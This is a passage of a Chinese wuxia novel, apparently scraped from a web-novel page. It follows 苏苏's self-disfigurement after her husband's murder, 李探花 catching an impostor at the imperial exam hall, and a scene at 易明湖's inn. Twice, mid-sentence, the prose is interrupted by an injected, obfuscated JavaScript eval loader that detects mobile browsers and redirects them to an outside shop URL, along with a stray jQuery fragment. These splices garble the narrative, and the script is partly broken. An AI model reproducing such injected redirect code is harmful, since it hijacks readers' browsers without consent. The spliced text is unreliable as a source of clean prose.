苏苏很明白西门烈说的是什么事。男人做决定的时候总是下意识地把女人排除在外的,这几个人都是翁天杰的好兄弟,大家一起决定了要不惜一切代价为他报仇。嫂子呢?嫂子忽然成了他们赴死之前唯一的牵挂。所以他们忽然一齐要逼迫苏苏快些嫁人,快些找到一个新的归宿。刘方氏是苏苏的朋友,大火之后,她就把苏苏接到家里来住,而几个弟兄们都挤在西王官屯的庙里,那里离他们的废墟比较近。易明湖像她的娘家人一样地筹备再嫁的一切,他每天在废墟里转悠,希望能找到一些值钱的物什,好做她的嫁妆。翁天杰给苏苏买过许多许多金银珠宝,那些是大火越洗越干净的。 但是他什么也没有找到。也许是被附近的乡下人早就搜罗了去。虽然翁天杰活着的时候待佃农们很好,但他一死,就什么都没有了。这个老秀才,翘着他颌下花白、稀疏的胡须,坐在坍塌而焦黑的梁木上,任由风把他的衣袖灌满。 后来他回来和刘方氏商议,刘方氏忙前忙后,女眷们都捐了自己的一点首饰,后来她又坐着轿子到她的娘家去,央着她的姑姑,为苏苏再找一个好夫婿,因为既然没有孩儿,那个一干二净的家门也就没有什么好守的。她的丈夫刘大官起先简直是奉承着她,吞吞吐吐地讲出他的意思:既然要嫁,不如就嫁在这个家里,也好给你做个伴儿不是?刘方氏当即叫道: “难道我独个儿受你的气还不够,还要拖上人家!” 她就像嫁自己的女儿一样,焦躁又不得不用最挑剔的方式四处奔走。按说翁家是大户人家,苏苏该有许多财产,但是什么也没有。地契、房契,都在火中失去。叫乡保来一起重新检点财产,竟发现那些田地都早已不是翁家的了。有的已经被翁天杰卖掉,有的时候他仅凭一时高兴就把地契还给了那些佃农们。据说,他是在到庆阳去之前,散去的那些地契。 他是不是早有察觉,将会遭遇可怕的事?所以在最后,他要盘算的最后一件事,是去探望只有一面之缘的结义兄弟张承勋的家里。那在他,是一件放心不下的大事。 边浩这些天里叫张老太爷弄得束手无策。他带着老人回到废墟之中,问他有没有想起些什么,想使他说出当日见闻的一言半语,结果他只是打瞌睡,说胡话,流口水而已。 “唉。”边浩说,弄着自己的枪缨,“我要有我哥哥那么聪明就好了。或者我哥哥干嘛不给我托梦呢?” 那天晚上,大家找到张老太爷时,他和边洪在一起。边洪的尸首。他是自刎而死的。老人神志不清,坐在死人的身旁,火光之中,哼一种听不清的调子。后来张承勋来了,才告诉他们,他们家号称万牲园,他父亲是放牛出身,那是他从小就会唱的一首赶牛的歌,同时是当地的牧歌和男女对唱的情歌。 天上桫椤是什么人栽 地下的黄河是什么人开 什么人把守三关外 什么人出家就没有回来 至于在正屋里发现的许多横死尸体间翁天杰的尸首,就更是惨不忍睹,易明湖在江湖上号称神目如电,他是珠宝珍玩鉴赏的高手,什么东西不用过秤拿在手里便能知道斤两,再精细的赝品也逃不过他的眼睛。他以那双神目从翁天杰的身上辨认出不下十个人出手的痕迹。他们把翁天杰和边洪埋在一起,边浩一边哭鼻子一边挖那个坟坑。他们一夕之间发现翁家一点钱也没有了,只好把他们的兄弟埋在乱葬岗上,弄了一块大石头做记号。但是这里到处都是石头,这样的表记一点也不显眼,搞不好,过后连他们自己都会忘记。然后公孙雨就用他的两把刀,那个他连对方的真名都始终不知晓的师父传给他的一长一短一双阴阳刀,用力地在那块石头上刻着印记。刀刃在石头上摩擦,就像什么人咬牙切齿的声音。 这一切是为了什么?为什么他们的生活一夕之间就这样翻天覆地了?翁天杰和边洪已经不能给他们答案。清早起他们一起到衙门去,要找父母官问个明白,不管他是他们在客栈里萍水相逢的来道士、县令沈炼、还是江湖上鼎鼎大名的王门子弟沈青霞。但是公孙雨大叫起来,退后两步,指着他在窗纸上舔破了的那个洞说不出话。边浩一时心烦,一伸手竟将窗格整扇扯了下来。他们看见沈炼的屋子里干干净净,被褥好好地铺在床上,纸笔也收拾得干净,案上放着几册书,挂着几杆毛笔,一张信笺,被一块石头压着。那块石头,说轻不轻,说重不重,可是有许多人为了得到它什么都做得出来。那是县令的印鉴。 信笺上只有六个字: “父丧,某即归去。” 边浩看过那几个字,大叫起来: “他跑了!” 一番嚷嚷,倒把衙门里的人都给惊起来了,当下是一阵好大的忙乱,立刻打发人快马加鞭去把信笺送给府台, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16995995|193873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 易明湖强拉着边浩退到外头。本来想为他的莽撞骂上几句,可是看到这个青年的大眼睛红红的,蓄满了泪水,又把话咽下去了。 几个人数天来各有各的忙乱,虽然大概自己也不知道自己在忙什么,大体上易明湖在和乡里的佃农、保正为了田土的事情吵架,他一心一意丢了老脸不要,要给苏苏争回一块足够供养她终身的土地。边浩坐在他哥哥的坟前,抱怨他不给自己托梦,到底是谁害了他,害了翁大哥?公孙雨四处乱转,好像还盼着废墟能够时光倒流,昨日重来。可是一切的痕迹和尸体都烧得无从辨认。西门烈老趴在房梁上,等着。有时候肚子饿得咕咕叫,下面的女眷们听见了,要起疑心,还是苏苏说:“大约是老鼠吧。” 几个人为了苏苏嫁人的事,还是凑起来过一回,挑拣着几个候选人物。说着说着吵起来了,吵得特别凶,差点动起手来。张老太爷坐在旁边的石头上,喝了一声“好!”,还拍手。后来终于挑中了一个,苏苏说她不嫁。 对,对,这个不好,这个家里太穷。这个呢?这是有名的富贵人家,就是远了些,我们送你去。……也是,这个品德不高,那……那…… 公孙雨说着就哭起来了,用袖子抹着眼泪,说: “嫂子,你想再找个我大哥那样的,哪里还有啊!” 苏苏平静地说: “七弟,你误会了。我不是说这些相公们不好。是我自己不要嫁人。” 总之,双方僵持住了,刘家的女眷们,和这班兄弟,哪个一天里也要劝她七八回。边浩还说,他要给苏苏的新夫婿家做护院,谁敢对她不好?第八天金凤白终于从家里逃出来,塞给苏苏衣襟里裹着的好几百两银子。他叔叔知道翁家大火,第一反应是把他给关了起来,叫他不要去掺和江湖上的事了,要是这么根独苗有了三长两短,他可怎么和哥哥交代?甚至草草结束了在这里的生意,也要赶快带侄儿离开这个是非之地。 也就是在启程这天的早上,因为忙乱,凤白才能觑得空隙,跑出来。 苏苏还是那么平静地说: “六弟,这是你偷了柜上的钱罢?我不要。” 老秀才闻言狠狠望他脑袋上敲了一个栗凿,凤白羞得满脸通红。 如今,在这一豆灯光下,苏苏柔声对西门烈说: “老幺,你也盼着我嫁人吗?” 西门烈点了点头。 “那好。你先出去一会儿。” 西门烈摇了摇头。 苏苏笑了,“听嫂子话。你要出去,还要把这两个丫头一起带出去。你就说你本在厨下,结果迷路了,叫她们带你出去。” “二哥说不能留你一个人。” 苏苏就用帕子掩唇而笑,“易二哥若听见你好端端地叫他这么一声二哥,说不定要吓坏了呢。” 西门烈脸红起来。苏苏接着道: “兄弟们都叫我嫁人,是大家的好意思,我也知道。可是我还有一件事……” 西门烈殷殷地把她望着: “是什么事?嫂子,我替你办到!” 苏苏说: “我好想哭。八弟,求你……让我一个人待一会儿吧。等我哭够了,再想……怎么往下活的事。” 深夜里,西门烈轻轻地抱着一个丫头走在长廊上,还有一个丫头走在前头,提着灯给他引路,一边还嘟囔着抱怨睡在西门烈怀里的那个。那是她七岁的妹妹,本来是姊妹两人要看着翁大嫂子的,结果她年纪小,熬不住,睡得这么沉。于是翁大嫂子就推醒她,叫她给这个走错了门的小厮带路,顺便把她的妹妹安置回仆人们的房间里去,在她自己的被窝里好好睡。那大丫头嘴里絮絮地说着,转过回廊,吓了一跳,原来是易明湖站在那里。 幸好这些天大家对这个老秀才也算认识了。易明湖皱着眉头问: “老幺,你怎么在这?” 西门烈忽然吞吐起来。虽说来探望嫂子不是什么说不出口的事。 “老秀才自己也是大半夜的还……” “别废话!” 西门烈只好把情由托出。不料易明湖听不上两句便惊道: “不好!”提起他破直裰的衣襟,往苏苏的房间掠去。两人合力踹开房门,见到屋中还是那么的安静,灯火悠悠,苏苏坐在一盆水镜面前,仿佛在照着自己仍然鲜亮的青春,但那盆水已经变成红色的了。大串的血珠从她的脸上涌出。西门烈却只知道怔怔地站在门边看着。看着苏苏一手拿着做针线活用的大剪刀,就是她给他做鞋子,做衣裳,补裤子……用的那种剪刀。她铰着自己的脸。 血把她的手整个淹没了。 血流到桌子上。衣服上。水盆里。 血色还在她的眼睛里。 她好像始终还是没有哭得成。 那被胡乱塞回她姐姐怀里的小姑娘,因为从睡梦中惊醒,不免大哭起来。任谁从三四岁就被卖去做奴婢,半夜连觉都睡不好,都会想哭的。 易明湖急掠上前,抓住她的手,一时之间,拧得她的腕子咔咔直响。几乎是把她的手腕整个卸了下来,他才能把那剪刀夺得下。 苏苏说: “二哥,我谁也不嫁。” 20. 长街高楼 除要招待几名考官之外,高擢当然还要忙活他衙门里的事情,到了初六的下午,他终于腾出时间来到贡院亲自指挥,把这个将要容纳近万名举子的场地给清扫出来。尤其是不能放过任何一丝舞弊的缝隙。为此,他绕着贡院的外墙走了一圈,熊知事替他拿着一根竹竿,在墙根的草丛里挥挥打打,查看墙壁有没有什么破损处被草丛掩住了的。会试及第即可一步登天,有这么大的好处,足以令任何一个看上去还算老实的人铤而走险。 即使是现在这个太平世道,二十两银子足够买到一个男孩儿;一百两银子也足以让一个忠实的丈夫卖掉他的妻子,甚至让她承受一些比死还要痛苦的侮辱;三百两银子能买来一个秀才。而一朝中了进士,金钱就沦为数字。人们为了这个功名是任何事都做得出的。 贡院很大,仅考棚就有九千多间,何况还有整整三重围墙,都要细细地查看一遍。高府丞迈着他那四方步慢慢地走,总要耗上一个多时辰。他也就一面走,一面和熊知事说着话。 熊知事虽然常在他身边办事,但并不大爱奉承他,高擢认为,熊知事乃是一个南边人,南人都是非常凶蛮、古怪的;而且还是海康县这样不知王化、最偏远的地带,据说那里百虫横行,瘴痢遍地,所以熊某和他们天子脚下的官员有一定程度的无法沟通,是极正常的现象;而他高大人只要知人善任即可。 他慢慢地问: “我叫你注意着些的事情,你可有放在心上啊?” 熊知事说: “你这位大人胆儿也太小了,”笑了一阵,高擢憋着一股气,且听他又说: “这些天里他不过是到处玩玩,转转……” 高擢立刻停住不走了,精神紧绷地望着他。熊知事笑了笑,手上依然忙着他自己的事,拨开一丛草,可惜下面只有一坨稀屎,尚不能辨认出自什么物种,两人赶快走开。 “到各地的会馆里转了转。而且对自己的名字一点也不遮掩,没穿官服,也没带他那两把刀,就这么走到人家的会馆里去。我想想,初三转了湖广会馆,晚上就几个人一块喝酒去了;初四去了山东会馆;初五没出门,那天下雨嘛,他在馆驿里睡觉,几个人送了诗来叫他批……” 原来在这个年代,离开家乡是一件困难的事。不仅是一路上要使用到无数的关凭路引,而且路途遥远,假如是南边的举子,往往在上一年的八月秋闱结束之后就要立即匆匆赶赴京城。在京城生活,可又不是件容易的事,吃,喝,住,都要钱。于是一些官员们就出资建造起乡会馆,供家乡的举子到来居住。因此哪怕是无意会试,根本不觉得自己能中的,也往往会上京来走这么一遭,结识结识达官贵人,也好联络同乡的感情。日后,凭着此时的关系,拉拢经营,自不消说。 初二那天,和三名主考、监考的官员一起前来拜见高府丞的那锦衣卫李孝元,几天以来就泡在这些会馆里。那些还未登第的举子们,哪里知道已为读者所介绍过的这些曲折,大家听说他是辛丑科的探花,十九岁的翰林,都羡慕得不得了,而且盼望着能得到和他一样的幸运。他们纷纷地递给他自己的诗作,和他攀交情,像求子的妇人抚摸观音塑像的脚那样地暗暗地去摸他的衣摆。有个性格无赖的人,大大咧咧地向他请求随便什么纪念品,他就随手把腰间的玉佩摘下来给了他,让其他人艳羡不已。 熊知事把这些情形告诉给高擢听。令他陷入了深深的思索。 “那他们都谈什么了?总不会就谈作诗,谈作文章吧!” 熊知事说:“大人猜得真准,他们还真就是在谈作诗作文章。” 高擢叹口气。他知道一切都在暗中发生,但李孝元比他想象的更加聪明和有城府。原本他只把他当作一个得了皇帝宠爱的孩子,然而现在他被一个孩子耍得团团乱转,可知他得到皇帝宠爱自然是有原因的,而且这原因不在脸上。 难道他要把九千名举子全部探查个遍?高擢问道: “你觉得他打算干什么?” 熊知事说: “老爷都不知道,我怎么知道?” 高擢哼了一声:“没用的东西!老爷派你出去掌眼,你倒好,一问三不知。” “我要是知道,我不就当老爷了么?” “笑话,老爷的功名,那是皇上赐的,我是嘉靖八年的进士,是天子门生。下次再这么口没遮拦,办你的罪!” 熊知事依然满不在乎,笑着说: “老爷,我告诉你吧。你当老爷只不过因为你的老子是老爷。” “那是了。谁叫你老子不是呢?人一生的富贵都是天定的。”高擢说,扑一扑官袍上的灰尘,又把脚从湿滑的烂泥里拔出来。——他相信一切都出自天定。就连今天在湿漉漉的刚下过雨的墙根底下,踩着烂泥,和一个饶舌鬼并肩走路,也是注定的。 这一刻有一只什么鸟儿从空中飞过,引得他抬起头来望着贡院那高高的、看不到边的压抑的围墙,连着想起来十五年前,自己也坐在这座巨大的监牢里,用指头在长了毛的咸菜上搓了几下,最后还是吃了的事情,也一道都是注定了的。他只是不懂自己干嘛和这家伙饶舌。 过了一会儿,正好绕到西边的墙根底下时,一个衙役奔过来告诉他另一名知贡举张璧张大人终于从金陵颠簸过来了。此次皇帝召还南京礼部尚书张璧来京主持会试,显然是个提拔的意思,这位大人怠慢不得。于是他正了正官帽,在墙上蹭去了鞋底的泥巴,赶快去了。 初八,两名主考官、两名知贡举,还有十八名同考官,一道在翟大学士的带领下祭孔圣人。高擢却在衙门见到了李探花,见他又穿上了锦衣卫的制服,在堂上溜溜达达地往外走,不免发起怔来,问道: “李大人,你没去孔庙?” 李探花笑道: “我又不是考官,又不算个学士,去瞎掺和什么?翟大人还要嫌我没礼貌呢。” 听到后半句,高擢心中一跳。 “那……”他踟蹰着说,“您……这是?” “去巡逻啊。南镇抚司比北衙门忙多了。”他笑了笑,走了。高擢心想,翟大人这回可算完啦!又一个完了的。 李探花骑着他那匹黑马,慢慢地走。京师的景色,他已经是见惯的了,但看到这些热闹的街巷,依然感到高兴。好像家家户户都也把这热闹给他准备了一份,只要他肯下马来,打起那些潦倒的小酒馆门口的帘子,走进去。 北京的风沙一向很大,可昨日下了雨,今天是格外地清新,被雨水洗过的屋瓦全都闪闪发亮。他还记得,一年之前,和表妹林诗音一起走过这些街道。他很想再见一见表妹。如今,他们两人是彼此在世上唯一的亲人了,他孤身在京,虽有高官厚禄,却有飘零之感。就是在父亲也故去之后,他才明白了表妹为何从小就那样地战战兢兢、患得患失。 就在她进宫之前不久,那时候两人都不知道表妹将要被他父亲送进宫里的事情,只听说老李尚书要致仕归来了,所以都很高兴,家里张灯结彩,过年了似的。 表妹虽然只有十岁出头,可俨然是家里的女主人了,由她的闺塾师王大娘子陪同,带着仆妇们洒扫,把一切杯盘碗盏擦拭干净。来鹤楼上的古器非常之多,有宋代的青瓷,据说是李师师给宋徽宗剥橙子时用过的盘子,有唐代的大花瓶,说是太平公主案上摆过。诗音亲手从园中折来一枝白梅花,插在这瓶中。晚上他爬墙去看她,她却好像要哭泣那样地悲伤。那会儿,他觉得真是拿这个表妹没办法,她眼里没流泪的时候,就好像是在心里流泪,那样,他想给她擦泪都没地方擦。她可哪儿来的那么多泪呀! 过去和现在,他真想不顾一切地走到她身边,两人伴着一起坐一会儿。所有无法言说、无奈何的事情,表妹都明白,对她,用不着费口舌,此生的千言万语,也一个眼神就够了。可正是因为早早地就够了,他才恨不能和她再诉尽了万语千言。 锦衣卫号称鲜衣怒马,江湖人都知道,要是在路上遇到了京师口音,朱红袍子,骑一匹骏马,佩华丽长刀的人,那能躲多远就躲多远吧。所以李探花发现自己忽然搞不清楚究竟京师的大道就是这样宽敞,还是自己已为他人所避之不及。从前他也在街上纵马,从没考虑过这个问题,只觉得天生了他的青春年华,天生了□□的骏马,天生了这样的好辰光,那就是为了给他纵情任性的。如今他在街道中央忽然发现原来繁花似锦的人生是这么寂寞。 他慢慢地策马走到了明时坊,这儿有个好处,就是人家想把他避开也避不开了,整个明时坊都给围得水泄不通,近万名考生在这儿等着勘验过了好进场。有的人穿上了自己此生最隆重的衣服,打扮得花枝招展;大家都随身带着包袱和篮子,叫“考篮”,盛着这九天以来的干粮、笔墨纸砚、蜡烛火折、香膏药材、布巾帷幔,夸张的还有锅碗瓢盆,还没进场,就有一股天南海北的吃食的气味在院前的人堆里弥散开来。 这些,他也都经历过的,连他祖、父、兄,和他自己用过的那一只考篮,现在也还在家里放着。到他下场的时候,诗音特意给他新缝了一条篮子上的布带子,上头绣着兰花。那一年的诗,考的是伐檀。他把马交给坊前的司阍,走进去,还哼着这首曲子: 坎坎伐檀兮,置之河之干兮。河水清且涟猗。 就像当年他作这道题目时一样。 这首诗的唱法,是富乐院的名妓罗桂林教给他的,那时候,他父亲做南京吏部侍郎,把家眷也都带在南京。罗桂林既然是官妓,当然受教坊司管辖,教坊司也有衙门,也正儿八经地升堂,不过管的都是那些鸨母拖欠花粉交公的银两、哪个姑娘悲惨地被打死、或乐工和那些小唱们争风吃醋之类的事情。有一件事,教坊司里不能办,竟然闹到了吏部来,当时的李侍郎给平了下来,那以后,罗桂林就和李夫人有了交情。她是个出色的歌者,曾经拉着李探花的手问他发蒙了没有?学诗?学到第几篇?然后给他唱了这首《伐檀》。他之前从没有想过诗三百竟然真的是可以唱得出的。罗桂林说: “你知道这首歌讲的是什么?讲的是那些升堂断案的贵人们,把老百姓辛辛苦苦打的柴火拿走啦!把那田地里冻死、饿死了的人的骨头,背一捆拿去当柴烧啦!” 说完这些,她又丧失了兴致,扭过头去。良久才站起来,跪倒在李夫人刘氏的面前,说: “夫人,我教了小公子不该教的,你罚我吧。” 刘氏说: “不要紧。他享着富贵,可也须明理。” 罗桂林后来还常常给他唱歌,但再也不说那些话了。她从此变成了一个太糟糕的老师,只传授,不解释。李探花问: “罗姐姐,你怎么不讲啦?” 罗桂林便笑一下说: “我瞧你是个好孩子,不忍心你太聪明,反而把你害了。” 李探花说: “聪明有什么不好!你瞧我大哥,考出功名来啦!将来我也要考功名,要考得比大哥还好。” “我说你是个状元的料子!等你考上状元以后,要做什么呢?” 李探花想了想说: “到时候,我给你和其她姐姐都赎身吧。” 罗桂林笑道: “瞧把你能的。这条街那么长……楼又那么高,这儿的姑娘可多啦,活着的,死了的,数也数不清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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自然举子们也是不知道的,全都口称唯唯,进场之前先行照过。一直又过了三四十个,到一个脸上有痣的壮年举人这儿,他远远地朝盆伸了伸头,脸上露出些不屑的神气,就又大步往门里迈。李探花忽然伸脚把他拦住,道: “站住。” 那举子板着脸道: “大人,该查的都查过了。” “这可是面宝镜,好好儿照一照吧。” 那举子无奈,只好走到水盆面前,和自己在盆中模糊的倒影互相瞪视着。忽然,李探花悄悄地走到他身边,猛然把他的脑袋往水里一摁,这人自然是狠命挣扎,可是李探花绝不放手。他虽然身材纤细,可是这个粗壮的汉子于窒息的绝境之中,求生欲所激发出来的全副力量竟然也挣脱不了他。过了大概数十漏的工夫,他才将手放开,那人软绵绵地倒在地下,呼哧哧直喘气,前襟湿了一大片,满脸是水,用袖子自己抹着。抹着抹着,他忽然察觉到了什么,手竟然不敢放下了。 几名衙役也明白了过来,喝道: “拿着!” 便将这人制住,揪着发髻要他抬起头来。原来他脸上的那颗痣已然给洗掉了。当日入贡院虽然也要比对样貌,但都是当地官员呈上来的形貌描写,颇易混淆,也很容易做手脚。虽然也有同乡彼此做保的规矩,但一般来说,这些保人都是提前就打点好了的,由此冒名顶替的事件层出不穷,有查出的,也有没查出的,而且没查出的当然更多得多。 李探花道: “拿去。” 那人立时便被两名衙役押去顺天府衙。考生们直愣愣地看着,一句话也不敢说。 李探花又在那椅子上坐下,想着翟銮的两个儿子当然就在这帮人里头。当然还会有两兄弟的蒙师崔奇勋,和翟家的亲家焦清。两兄弟他自然认得,三年前见过一面,都比他大个五六岁。可是崔氏和焦氏却没见过。李探花抬眼想了一回,笑了笑,站起来进了贡院。 两名知贡举正安排着发号,主考官张潮老大人一脸端肃地高高地坐在那里,不过李探花知道这位老大人多半是睁着眼梦游呢。他悄悄地靠近了正翻看名单的副考官江汝璧,两臂撑在桌子上,道: “江大人,你说这回可怎么办呀?” 江汝璧吓了一跳,手上哆嗦,差点没拿住。缓过这口气来了才道: “李探花,你就别消遣我了!我年纪大了,受不得惊吓。” 李探花伸手点了点那名册,道: “谁消遣谁还不一定呢……江大人,这里头有没有一个庆阳府来的考生,叫张承勋的?” 江汝璧道: “我哪里记得住这老些。但你是要……” 他暗暗地做了个手势。李探花笑道: “我告诉你罢!没有。可是本该有的。” “这人……” “这人去年秋闱没中,就回家了。我也不认得他,可是明天我就要去找他。为了这件事,往后我不能在这儿盯着了,江大人要是想干点什么,我也管不着。江大人,您……” 江汝璧冷笑道: “行了,你不必对我说些什么‘好自为之’之类的话。难道我心里就不明白?可这世上没法子的事太多了……你还小,将来就会明白。去罢。” 说完,就不再理会他,低头默默地翻着自己的名册。一会儿翻出了翟家兄弟的名字,就将他二人编在一处。做这些事情是一点也不避着李探花。写完了他俩的号,又往下接着翻焦清和崔奇勋的名字。翻着翻着,忽然抬起头来长叹一声: “我今年五十八了!” 却见眼前空空的,李探花已然去了。 21. 芳容 这班弟兄,好像还是头一次发现,原来嫂子比他们所有人加起来还要固执。易明湖引着苏苏来到他们暂住的西王官屯,外面那个坐馆的先生,正在领着孩子们之乎者也,但是也有些淘气的,攀着窗棂向外望,见到那帮不正干的闲杂人等,总是像翁天杰的被弃置野外的遗产那样乱转,今天却簇拥回来一个女人。四人一言不发,老秀才佝偻着脊背,这起人里年纪最小的那个,原本活泼得简直不知道该怎么好好走路,如今却仿佛有点瘸了似的。那女人一身孝服,头上蒙着黑纱。孩子们不禁挤眉弄眼起来。也许到了散学以后,还会拿这件事开开故事会。 边浩坐在屋里,和张老太爷赌气。听到响动才抬起头来,而后愣住了。 苏苏站在门边,朝他微微一笑。其实她的脸上蒙着黑纱,但他觉得她是笑了。他跳下地来,支支吾吾地要招呼她,但是她就站在那里,然后伸手掀开了头纱。那就像十年前和翁天杰成亲时,掀起盖头来一样。 她甚至好像是故意要把这副惨状显示给兄弟们看。带有一点点小女孩的俏皮。现在她把他们全都给捉弄了,不是吗?如果从右边看去,她还是那么光鲜美丽,不像个二十六岁的女人,却还像她十年前嫁人时似的。但是毁了一半的脸,比一张完全丑陋不堪的脸孔还要骇人。伤口还在隐约渗血,特别是在她微笑,牵动嘴角的时候。 那个曾经甜蜜的酒窝,变成了一汪血池。 穿堂的风,使那扇门吱呀呀地关上了。那种令人牙酸的声音,也没有把大家从沉默中惊醒。直到苏苏自然而然地走过来,替他们收拾乱七八糟的铺盖的时候,边浩如梦方醒,手忙脚乱地要把被褥从她手中夺开。她只是平静地说: “我来吧。” 他不敢再反驳了,慢慢地缩回手去。 苏苏叠铺盖,扫地,收拾桌子,掸灰,要补衣裳可是这儿没有针线,她才轻轻地叹息一声,在椅上坐下,说: “你们的大哥死得不明不白,可是大嫂还在这儿,总要给他问一个公道出来。不然,他这个人嘴笨,不会说,就是到了阴间,阎王爷若是问他‘翁天杰,这些事里头有你没有?’他这样的人,也不知会把多少旁人的事体揽在自己头上。……阴间的事,谁能知道?就有阴间,我怕他也是潇潇洒洒灌上一碗孟婆汤,不理前生的事了。那太……太委屈。” 大家再不敢提什么要她嫁人的话了。她照样当起家来,从前有一座大宅院,她就当宅院里的家,现在有一座小茅屋,她就当茅屋里的家。各人都被她吩咐出去做事,她就还是安心在小屋里缝补,照顾老人。张老太爷的性情非常固执,但也听她的话。 西门烈从城里听消息回来,告诉她说,因为她失踪的事,刘家的大娘子日夜焦心,四处探问她的消息而无果,今天西门烈好险就被她抓着了。 苏苏临走之前,留给刘方氏一张字条。刘方氏找人念给她听,字条上说,原来翁天杰没有死,深夜里来接她离开,他们两人要远远地避开这里的事,一心一意地去过二人的日子。 西门烈问她,刘方氏岂能相信这荒诞不经的故事?苏苏微微一笑说: “她会的。过上十年……二十年,她还是没有我们的消息,而过日子,又需要一点念想的时候,她会相信的。” 西门烈一屁股坐在椅上,才敢看着苏苏的脸,看她的左半边脸,一直骗自己。多骗自己一会儿也没关系,这个是小孩子的特权。过了一会儿实在没有什么话说,他竟提起从前兄弟们决定了要她嫁的那人,苏苏问: “老幺,你还盼着我嫁人么?我这样已不能嫁人了。” 西门烈叫道: “谁因为嫂子这样就——就——就反悔,我西门烈要给他好看!” 苏苏笑了。他鼓着脸问: “笑什么!我是——我是真心的!” “嫂子爱你的孩子脾气。” 他又没话了。 晚上,边浩赶着一辆牛车来带她出城,到老秀才的那客栈里去。 翁天杰给易明湖开那客栈,是有特别的用场的。客栈每个月只开张两次。初一一次,十五一次。在这两天里,从入夜到黎明,客栈人声不歇,车马络绎不绝。有好事者称之为茌平的鬼市。易明湖因屡试不第,不得已在城中摆金门给人算卦为生,久而久之发现两件事: 第一,他算命真的不准。 第二,命途多舛的老秀才,倒有一双真正的慧眼。 就连东昌府上的古董商、偷儿、经营各行各业的江湖人,若得了什么真假难辨的货,都要来找他掌一掌眼的。这倒还多亏了翁天杰的投资,不然大家常常要屁滚尿流地挨个巷口去寻他。 老秀才说,他读圣贤书,不能做缺德的事,但是分辨真假,为人间澄清一点谎言,却符合他的道义。于是他做这件事并不收钱,不过一般来说进了他的客栈总得要点什么,他做的饭又向来难吃得要命,搞得大家好痛苦,恨不得他明码标价。 正月十五那一天,客栈里又奇异般地挤满了人。烟气升腾,让这几间木屋里犹如蒸锅般燠热难耐。大家用袖子随便抹一下桌子,就开始喝酒,因为一切菜都太难吃了。只有一个人,因为从东昌府赶过来,已是饥肠辘辘,要了一份蒸饼吃。 大家都用看笑话的眼神望着这个可怜人。不过今天的蒸饼端上来竟然是热的。这人视死如归地吃了一口,叫了起来。屋中一阵哄笑,结果他眼含热泪,叫道: “再来,再来一张!” 他肯定是吃傻了。 再不然,就是老秀才终于肯请个厨子。这好像是本世纪以来第一件令人感动的大事。大家都说要见见这个厨子,老秀才不让,大家自管闯到后厨,边浩却抓着他的长枪,和公孙雨的两把刀,西门烈的一把菜刀,三个人好像要拼命似的。为了好奇心而被戳个对穿实在不划算,不过饶是如此,大家还是从缝隙里瞧见,厨房里忙活着的是个女人。而且还是个非常年轻、身段异常窈窕的女人。 “难道老秀才终于攒了两个钱,娶得起媳妇了?” 老秀才挨个啐了他们一口。大家说既然这女人不是他的媳妇,也不是他的闺女,那大家怎么样就不关他的事。美人儿,你肯不肯出来见大家一面? 那美人叫边浩出来传话说,出得起价的人她才见。 金子银子和银票都堆在柜台上了。她不要。 坐拥十二家老字号古董店的大股东,摘下他戴了二十年,五千两买下的玉扳指,她不要。 一个千辛万苦潜进知府衙门,被六个护院追了十里地,险些把小命交代了的偷儿,拿出他的贼赃,一尊金无量寿佛,她不要。 混江湖的公子哥儿从家里偷出来的他妻子的嫁妆,缠枝牡丹纹妆花织金锦的华丽长裙,她还是不要。 她嫌这些礼都太薄。 大家越来越好奇,越来越盼着能来个什么人出一大手笔,叫他们看看,这女人的胃口究竟有多大,眼界究竟有多高? 等啊等,等到那一年冬天,终于等来了一个人。 这个人,络腮胡子,身材高大,形容间却有股猥琐气,仿佛是做什么人的小厮的,偷偷摸摸地从胸前掏出一个布口袋,口袋里是一块麻布,麻布里则裹着一根长长的东西。 易明湖道: “给我看这东西做什么?” 那人道: “你看看就是了。” “看见了,然后呢?” “这是什么?” “你莫不是来消遣我的!” “别上火呀,你倒是说说,这是个啥东西?” “你自己拿来的,却不知是个什么东西?” “哎呦,你可小点声吧!” 易明湖瞪了他一眼,道: “我看,这不过是把尺子。” “尺子?” “铁做的尺子。” “怎么会有人用铁做尺子?这是兵器?” “想用来做兵器也没有人拦着你。”易明湖淡淡地道,“菜刀、棍棒,会武的人用什么都能做兵器。” 那人也明白了他的意思: “但这本来不是作为兵器被制造出来的。不然怎会有这么多的花纹?” 江湖上也有一种叫“铁尺”的兵器,不过像一种四方有棱的刺剑。像这东西,拿在手里硌掌心,又无刃无尖,挥起来也不便当,除非是有人跟自己过不去,不然怎么会想到要造这么一种集众家之短的兵器? 唯一的解释就是这并不是兵器。 做镇纸太大,做戒尺太不顺手,做房梁太小,这就是一把尺子。而且还不是女人做衣裳用的那种尺子,真不知道是做出来量什么东西的。 那人捧着这把铁尺,看上去简直快哭了。 “废那么大劲儿,结果这就是一把尺子?我要一把尺子有什么用?” “随你。”易明湖说。继续算他的账。 这其中有人认得他的,凑过来瞧了瞧,笑道: “胡子,你准备好逃命罢!回去和你家老大说费劲半天抢了个铁疙瘩回去,他是定然要修理你的。” “呸,呸,别瞎说。” 嘴上虽然这么说,其实确实已经认真地在考虑这件事了。 结果大家都纷纷好奇地凑了上来。黑山虎的人抢到了一个铁疙瘩?抢这东西做什么,这东西要怎么脱手啊?正乱纷纷笑闹不休,后厨的那女人说,她要这样东西。 